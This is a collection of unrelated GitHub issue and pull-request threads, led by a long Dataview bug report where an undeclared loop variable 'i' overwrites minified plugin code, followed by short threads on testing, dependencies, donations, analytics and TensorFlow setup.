Ok, it works on my end as well. I swear I had 1.6.0 installed, but after deintegrating my pod file & reinstalling, it works. Thank you very much for your help gents.


Global Error "Evaluation Error: TypeError: i.push is not a function"

What happened?
What happened?
When using dataviewjs, if I try and render a malformed dv.table on a particular markdown file, I will sometimes trigger a particular error. Once this error has been triggered, all my dataviewjs scripts across all my files in my vault will only return the same error, even though they normally work fine. Closing and reopening obsidian (or reloading without saving) turns the other scripts back to normal (until I try and render the malformed script).
Bug Description
**Step 1) ** Switch to read mode on a file with some malformed dv.table. For example:
dv.table(["Date Read", "Title"],
		topItemsdv.map(v => [
		v.author,
		v.count])
		);

Where topItemsdv is some dv.array.
Step 2) Get the following error:
Evaluation Error: TypeError: i.push is not a function
    at l$1.diffed (plugin:dataview:15880:1539)
    at j$2 (plugin:dataview:15878:6418)
    at w$2 (plugin:dataview:15878:2236)
    at j$2 (plugin:dataview:15878:6192)
    at w$2 (plugin:dataview:15878:2236)
    at L$1 (plugin:dataview:15878:7442)
    at j$2 (plugin:dataview:15878:6377)
    at w$2 (plugin:dataview:15878:2236)
    at L$1 (plugin:dataview:15878:7442)
    at j$2 (plugin:dataview:15878:6377)

Step 3) Delete the error producing code (Bug occurs whether or not I do this). If I do so, the error on this particular page goes away, as expected.
Step 4) Close the error producing file.
Step 5)  Open some other file in the same vault that has a normally functional dataviewjs script. For example:
var genre = "Philosophy";
var genre2 = "Ethics";
dv.header(1, 'Search');
var unread_pages = dv.pages('"01 Media/01 Books"')
    .where(p => p.title &&
			p.status == "read" &&
			(p.field == genre || p.topic == genre ||
			p.field == genre2 || p.topic == genre2))
			.sort(p => p.authors[0]);
dv.table(["Title", "Director", "Genre","Subgenre", "Series"],
		unread_pages.map(p => [
		//The Title
		p.file.link,
		//The Director(s)
		p.authors,
		//The Genre
		p.field,
		//The Subgenre
		p.topic,
		//The Series
		p.series
		])
);

Step 6) Switch to read mode and receive the following errror:
Evaluation Error: TypeError: i.push is not a function
    at l$1.diffed (plugin:dataview:15880:1539)
    at j$2 (plugin:dataview:15878:6418)
    at w$2 (plugin:dataview:15878:2236)
    at j$2 (plugin:dataview:15878:6192)
    at w$2 (plugin:dataview:15878:2236)
    at L$1 (plugin:dataview:15878:7442)
    at j$2 (plugin:dataview:15878:6377)
    at w$2 (plugin:dataview:15878:2236)
    at L$1 (plugin:dataview:15878:7442)
    at j$2 (plugin:dataview:15878:6377)

Expectations
That an dataviewjs rendering error in one file should not cause errors in other, independent queries in other files, particularly after the error producing code is deleted.
Workaround
Either close and reopen obsidian or reload without saving.
Synopsis
One error replicates itself across all files in the vault
Environment
Using Obsidian v0.15.9 on Ubuntu 22.04.1 LTS
Using Dataview v.0.5.41
DQL
No response
JS
var books = dv.pages('"01 Media/01 Books"')
    .where(p => p.title &&
		   	p.status == 'read').sort(p => p.dateRead);

function authorsCount(bookSet) {
	let authorsDict = {};
	for (i=0; i < bookSet.length; i++) {
		var authors = bookSet[i].authors;
		for (j=0; j < authors.length; j++) {
			var author = authors[j];

			if (author in authorsDict) {
				authorsDict[author]++;

			} else{
				authorsDict[author] = 1;
			}
		}
	}
	return authorsDict;
}

var authorsDictFull = authorsCount(books);
var items = Object.keys(authorsDictFull).map(function(key) {
  return [key, authorsDictFull[key]];
});

// Sort the array based on the second element
items.sort(function(first, second) {
  return second[1] - first[1];
});

var topItems = items.slice(0,6);

var itemsArray = [];
for (i=0; i < topItems.length; i++) {
	var itemAuthor = topItems[i][0];
	var itemCount = topItems[i][1];
	itemsArray.push({author: itemAuthor,
						count: itemCount})
}

dv.paragraph(itemsArray);

var topItemsdv = dv.array(itemsArray);

dv.paragraph(topItemsdv);

dv.table(["Date Read", "Title"],
		topItemsdv.map(v => [
		v.author,
		v.count])
		);

Dataview Version
0.5.41
Obsidian Version
0.15.9
OS
Linux

More likely than not, your topItemsdv array doesn't have the correct types and is missing attribs. Can you give us a sequential set of steps to repro with?

I provided the code and the sequential steps above already. Is there something specific you want in addition? Through further experimentation, I have tried to find the simplest code that reproduces it. That is here:
var books = dv.pages('"01 Media/01 Books"')
    .where(p => p.title &&
		   	p.status == 'read').sort(p => p.dateRead);

function authorsCount(bookSet) {
	let authorsDict = {};
	for (i=0; i < bookSet.length; i++) {
		var authors = bookSet[i].authors;
		for (j=0; j < authors.length; j++) {
			var author = authors[j];

			if (author in authorsDict) {
				authorsDict[author]++;

			} else{
				authorsDict[author] = 1;
			}
		}
	}
	return authorsDict;
}

var authorsDictFull = authorsCount(books);

var testArray = ["a", "b", "c"];
var testArraydv = dv.array(testArray);
dv.list(testArraydv)

Evidently it is something about the authorsCount function that causes it. Will continue to investigate what is wrong with it, but still not sure why it causes a persistent bug that effects all my other files.

Ya I didn't expect it to be persistent. I doubt I have the chops to investigate it but I'll give it a try when I can.

Also attaching a screenshot of dv.paragraph(authorsDictFull) so you can see that the function is returning the dictionary that I would expect it to.

Further experimentation has allowed me to find a more simple, standalone example that reproduces the bug without having to run a query.

var testDict = {a: 1,
				b: 2,
				c: 3}

var items = Object.keys(testDict).map(function(key) {
  return [key, testDict[key]];
});

var itemsArray = [];
for (i=0; i < items.length; i++) {
	var itemAuthor = items[i][0];
	var itemCount = items[i][1];
	itemsArray.push({author: itemAuthor,
						count: itemCount})
}

dv.list(items)

Not that dv.list is being applied to items, not itemsArray.
dv.paragraph(items) returns:

`dv.paragraph(itemsArray' returns:

This errors appears to be happening inside the minified code for one of the libraries, for some reason. Additionally, apparently the itemsAray actually affects whether or not this crashes, which makes absolutely no sense to me. What appears to be happening is this code somehow corrupts the library code, breaking all DataviewJS views.

This is sufficient to reproduce:
dv.list([["a", 1], ["b", 2], ["c", 3]]);

Well, this is tremendously annoying. The issue is your loop - it should be
for (var i=0; i < items.length; i++)

instead of
for (i=0; i < items.length; i++)

Doing i=0 is overriding an esoteric, minified i variable inside some minified library code; this is because the global state is still implicitly available in the eval'd script (which I something I thought I fixed, though quite obviously not). Using var i or let i creates a local variable which avoids this problem, at least.
Not sure off the top of my head how to prevent this; probably going to require setting up shadowing of the window and global variables inside scripts to hide global state, which is going to break some scripts.

Oh, wow, it didn't cross my mind that i could be in use elsewhere. Actually declaring it with var i or let i does indeed seem to work. Returning to the itemsArray example, the following resolved the issue:
var itemsArray = [];
let i;
for (i=0; i < items.length; i++) {
	var itemAuthor = items[i][0];
	var itemCount = items[i][1];
	itemsArray[i] = {author: itemAuthor,
						count: itemCount}
}

As does:
var itemsArray = [];
for (let i=0; i < items.length; i++) {
	var itemAuthor = items[i][0];
	var itemCount = items[i][1];
	itemsArray[i] = {author: itemAuthor,
						count: itemCount}
}

I admit that javascript is not my primary programming language so perhaps my original code was poorly written independent of this particular bug and the new versions are better practices. If so, I'm not sure that you actually need to change the backend code to prevent the bug. It might just be a matter of making the solution to the error visible on search engines, which this thread is a step towards.
Thanks so much for figuring this out! Dataview is by far and away my favorite Obsidian plugin.

Yeah, a very valid workaround is to jkust make sure to use let/var/const in your variable definitions - I'll see what I can do about improving the error UX.

So I stumbled across this thread when looking up the same error. (I ended up abandoning the first code that caused it to, as it was not fit for purpose) I had some code that worked until I added "i = 0" above and " i++" inside a "foreach" loop
the shortest code I found to reproduce:

i = 0
for(let page of dv.pages.file.tasks){
 i++;
}

What blacksmithgu was saying earlier that using i like that conflicts with obsidian's internal code. Declare it with a let.


Prepare test code for index1 datatype

The changes in this commit are mostly for improving e2e testing in preparation for treating bundle index files as index1 datatype.
There are no changes to the code logic of jostler in this commit.
The changes were tested locally with go test -race ./... and test/e2e.sh.

This change is

Coverage: 86.102% (+0.08%) from 86.023% when pulling de3a9b0a6ce8190604a58471386ee8856365430d on sandbox-saied into 9f23fc29d094069cc26fd235c6d6f09df84b4f73 on main.

test/e2e.sh line 2 at r1 (raw file):
Previously, stephen-soltesz (Stephen Soltesz) wrote…
nit: please add a small docstring describing this file. Could the the same text as from the README.

Good suggestion. Done.

test/e2e.sh line 22 at r1 (raw file):
Previously, stephen-soltesz (Stephen Soltesz) wrote…
iirc, I may have suggested this flag name. I'm just noticing that in context that this is a little confusing due to the ambiguity of -local-data-dir while this flag applies to the gcs output mode.
Maybe something more verbose as -use-gcs-local-disk or simply -gcs-local-disk so the -gcs-* flags could be grouped together?

Changed to -gcs-local-disk.

Thank you for your review and feedback.  I've made all the changes you suggested.


Make bitcore-message external.

Addresses:
https://github.com/digitalbazaar/ocapld.js/issues/18
so this library does not cause constant warnings about bitcore-lib in the browser this PR makes bitcore-message an external dependency. This is the same webpack option used in jsonld-signatures to get around bitcore-lib's browser problems.

I recommend we get jsonld-signatures updated to externalize the koblitz signature scheme and then update this library to use the new version rather than proliferating these special settings everywhere. (We should close this PR once that's done).

@mattcollier @dlongley  @davidlehn  I know that jsonld signatures was updated recently and I recall the koblitz signature being moved out or a package so do you think it is safe to close this?


When I run http-server command, there are four available ip address.

☁  nodejs-graphql [master] http-server
Starting up http-server, serving ./
Available on:
  http://<IP_ADDRESS>:8080
  http://<IP_ADDRESS>:8080
  http://<IP_ADDRESS>:8080
  http://<IP_ADDRESS>:8080
Hit CTRL-C to stop the server

http://<IP_ADDRESS>:8080 and http://<IP_ADDRESS>:8080 can be accessed by browser.
http://<IP_ADDRESS>:8080 and http://<IP_ADDRESS>:8080 can not be accessed by browser.
I know <IP_ADDRESS> ip address is localhost, and <IP_ADDRESS> is wifi network ip address.
What are the other two?

Those other two are internal network only ranges: https://www.lifewire.com/what-is-a-private-ip-address-2625970
It looks like http-server is discovering them (and listening on ports there), but something in your firewall (maybe?) setting is preventing the browser from seeing them.
Not sure what's causing it, but not sure it's a bug either. Thoughts?

@mrdulin what OS are you using, and do you have any firewall rules that might be blocking those? That's the only problem I can think of.

@BigBlueHat Yeah. It's not a bug. Just curious. thanks for reply
@thornjad MacOS, I found this in company, so I think there are firewall rules no doubt.  I am not a professional network engineer. Just curious. thanks for reply


fix monthly suggested donation

What's this PR do?
Adds functionality that makes the monthly suggested donation a tenth the amount of the yearly/one-time suggested donation on page-load
Why are we doing this? How does it help us?
We're hoping to see improved numbers of monthly recurring donors by suggesting a more reasonable donation amount (our current suggested amount in most instances is $200 across the board)
How should this be manually tested?

load locally with 'make'
visit /donate
ensure that switching between 'Monthly' and 'Yearly/One Time' causes the amount to change with a ratio of 1 to 10 respectively
ensure that changing the amount breaks this behavior (i.e. you can click between 'monthly' and 'yearly' and the amount will stay the same)

How should this change be communicated to end users?
We'll let membership know
Are there any smells or added technical debt to note?
Utilizing "touched" logic (has the amount field been clicked on and changed by the user?) would allow for this to be even smoother.
What are the relevant tickets?
https://airtable.com/appyo1zuQd8f4hBVx/tbloNZu8GkM52NKFR/viwS1XPty68eK4Ett/recAbvCibzXZjDT6G?blocks=hide
Have you done the following, if applicable:
(optional: add explanation between parentheses)

[ ] Added automated tests? ( )
[ ] Tested manually on mobile? ( )
[ ] Checked BrowserStack? ( )
[ ] Checked for performance implications? ( )
[ ] Checked accessibility? ( )
[ ] Checked for security implications? ( )
[ ] Updated the documentation/wiki? ( )

TODOs / next steps:

[ ] your TODO here

Hmm I think I follow what we want here. It makes sense to as a way to suggest better amounts, but I don't think it's working quite how we want if I'm understanding it right.
Example: I click on one of these donate CTAs in the bottom of stories with the number amounts:  Those go to links with monthly presets: ?installmentPeriod=monthly&campaignId=7016f000002GvLdAAK&amount=20#join-today If you use that link locally, it set the monthly amount to 2.
Another weird quirk is that if you load the page with no parameters, the initial amount is $4 monthly. Is that desired?

Oh, I see what you're saying. I think that's just a goof on my part. I sort of went crazy and said "monthly should be cut everywhere"... should be an easy removal of a bit of code in the mounted function in the vue file... I'll update and get back to you

weird @matthewdylan, I'm a little confused by this PR state. Looks like d3d068c was merged but not d8abe71? Is that right?

weird @matthewdylan, I'm a little confused by this PR state. Looks like d3d068c was merged but not d8abe71? Is that right?

Huh, I'm not sure what happened here. I remember having to remove the monthly donation suggestion pieces from another pr. My assumption was I branched something the wrong way by accident. Believe I kept the linting a part of that one though. Maybe GitHub closed this pr for me? Also possible I accidentally merged this one, but I don't remember doing that.


get rid of unneeded allocations

const char* will crash when trying to access something in the map, i tried it before and its the reason i moved to string, but i will change to string_view as it would be faster.

const char* will crash when trying to access something in the map, i tried it before and its the reason i moved to string, but i will change to string_view as it would be faster.

presumably, i didn't try it in game yet, just in main menu

presumably, i didn't try it in game yet, just in main menu


Update dashboard with v0.1.8

Hello, I noticed some strange thing with the loading of the page:
https://user-images.githubusercontent.com/7032172/154272434-231a7f7a-81c8-4bc7-98d5-a6a9707dc4b1.mov

Oh and also you can’t see it in the video but the favicon is wrong:

Also, we should replace the MeiliSearch into Meilisearch :)

Hello @irevoire  !
I can't reproduce any of this behaviours in localhost, which navigator do you use ? Can you also try to clean your cache and see if it's happening again ?
Thank you @curquiza , I definitely missed this one, which is also the most obvious one 🙈

After checking with @mdubus we noticed all these bugs only happens on safari and were already present before so we’re going to accept this PR as-is 👍

everything seems perfect thank you!
bors merge

Thank you Morgane!!!

bors merge


Add a location

In order to remember where I have been and recommend it to others
As a tourist
I need to add a location

When a user opens their travel log, they are able to add a location to their log, from a list of predetermined locations. They can also add a location from their favorites/a personal location.

When a user opens their travel log, they are able to add a location to their log, from a list of predetermined locations. They can also add a location from their favorites/a personal location.


Refactor Array operators

Follow-up of #616. Clea up Array operator definitions.

Ha, it's 6:50 in the morning in Japan.  Do you ever sleep?  :-)

@shoyer what are your thoughts on this kind of refactor?  This increases complexity but decreases boilerplate.

+0 from me. I don't care strongly either way.
On Tue, Aug 25, 2015 at 11:52 PM, Matthew Rocklin
<EMAIL_ADDRESS>wrote:

@shoyer what are your thoughts on this kind of refactor?  This increases complexity but decreases boilerplate.
Reply to this email directly or view it on GitHub:
https://github.com/blaze/dask/pull/625#issuecomment-134752556

It is intended to meet styles applied in #616. I'm willing to fix DataFrame/Scalar side if current Array style is preferable.

I think that I slightly prefer having explicit methods in dask.array.  While I generally try to avoid boilerplate / repetitive code I think I prefer it in this case for the following reasons:

It's easier for a curious newcomer to trace back how arithmetic operations work.   It's hard to discover where __add__ is defined with the changes in this branch.
Some of the normal reasons to avoid repetitive code don't apply here.  We don't expect to have to extend or alter this code much in the future.  The set of operators in Python changes slowly.

That being said, I don't see a reason to change back the dask.dataframe code.  I would wait until something forces a change before working on either of these.  I suggest that we keep this branch around in case we do end up needed to change array operators, in which case merging this will probably make those changes easier.

Closing this for now.


grammar specification

There will come a time when it will be valuable for there to be a document that provides

opportunity to reason about what the desired syntax looks like, criticize and iterate without implementing
clearer thinking about the type hinting question
clear inductive reasoning about what legal squiggle expressions and statements are, formation and composition

Could be as simple as giving a BNF grammar or as hard as giving a statics and dynamics in sequent calculus

Forget I said sequent calculus. BNF-like is gonna be the way to go. this is one of the most popular and accessible books and it's grammar specification is probably what we should aim for

I think https://github.com/quantified-uncertainty/squiggle/blob/develop/packages/squiggle-lang/src/rescript/Reducer/Reducer_Peggy/Reducer_Peggy_GeneratedParser.peggy serves this purpose?
I doubt we'll have the capacity and the discipline to keep https://develop--squiggle-documentation.netlify.app/docs/internal/grammar/ in sync with it, should Grammar.md just link to the peggy file as the source of truth?

I agree completely

Closing now, because it seems mostly addressed.


Status Not Detecting Permssions

Android Version:  6.0.1
Status Version:  3.4
Today, status stopped working completely on my Marshmallow device. When opening Status to diagnose the issue, i was greeted with the setup screen again. I granted the needed permissions, but was still unable to progress past stage 1.

Well, a force stop and restart allowed me to fix the issue, though not sure where it came from. Closing


Add analytics around page views and which modes are being used

Set up a new property for the damage calc in Google Analytics
add something like following snippet:

<!-- Google Analytics -->
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXXX-X', 'pokemonshowdown.com/damagecalc');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->
<script>
	window.onerror = function(err, uri, line) {
		var msg = uri + ':' + line + ': ' + err;
		if ('ga' in window) {
			ga('send', 'event', 'Client error', msg);
		} else {
			alert('ERROR: ' + msg);
		}
		return false;
	};
</script>

Though we also want to track:

generation
mode (one vs one, one vs all, all vs one)
format (standard, vgc, random, bss, etc)

Actually, if you guys want to make your own Analytics account or something? Or does it have to be me?

I mean, its hosted on your domain, I feel it'd make for sense for you to set it up. It'd be nice if you granted us access to it though.

I remember giving others Analytics access used to be a mess, but it might have been fixed by now.

Reopening to track Austin and I getting access to the dashboard and tracking gen/mode properly.

I think I’m going to make a new google account for this so I’ll commit when I’ve done that

Can you setup listening for client errors?

Originally posted by @Zarel in https://github.com/Zarel/honko-damagecalc/pull/341#issuecomment-520622483


generate the right module required for training network

Hello,
I have successfully completed your first three steps and am stuck on step 4 where I can train/test my own data. The data I am producing is not a .cpkt format and is a .npz format. What is the best way to take my .npz data and convert it into a .cpkt format? Is there something I am not doing?
Thank you,
Hao

Hi Hao,
The argument that you pass to the -l flag should be a previously-saved model. TensorFlow should produce a .ckpt file when tf.train.Saver.save() is called. Where are you getting your .npz file?
Matt

I also have this problem. A bit confused. I started with about a thousand sequential .jpgs which then became .npz files when I processed the data in Step 3. I now have a ton of .npz files but a bit confused about how I train those into a model. I have tried passing their save directory as the -t argument but that doesn't seem to be what it wants. The wording regarding training on our own data on Step 4 is a bit confusing.
Sorry for my ignorance! Thank you for your work!

Which version of TensorFlow are you using? This only works for up to 0.12 currently.

I fixed my problem. Had a slight issue with how I set up the directories. Thanks for the code and help!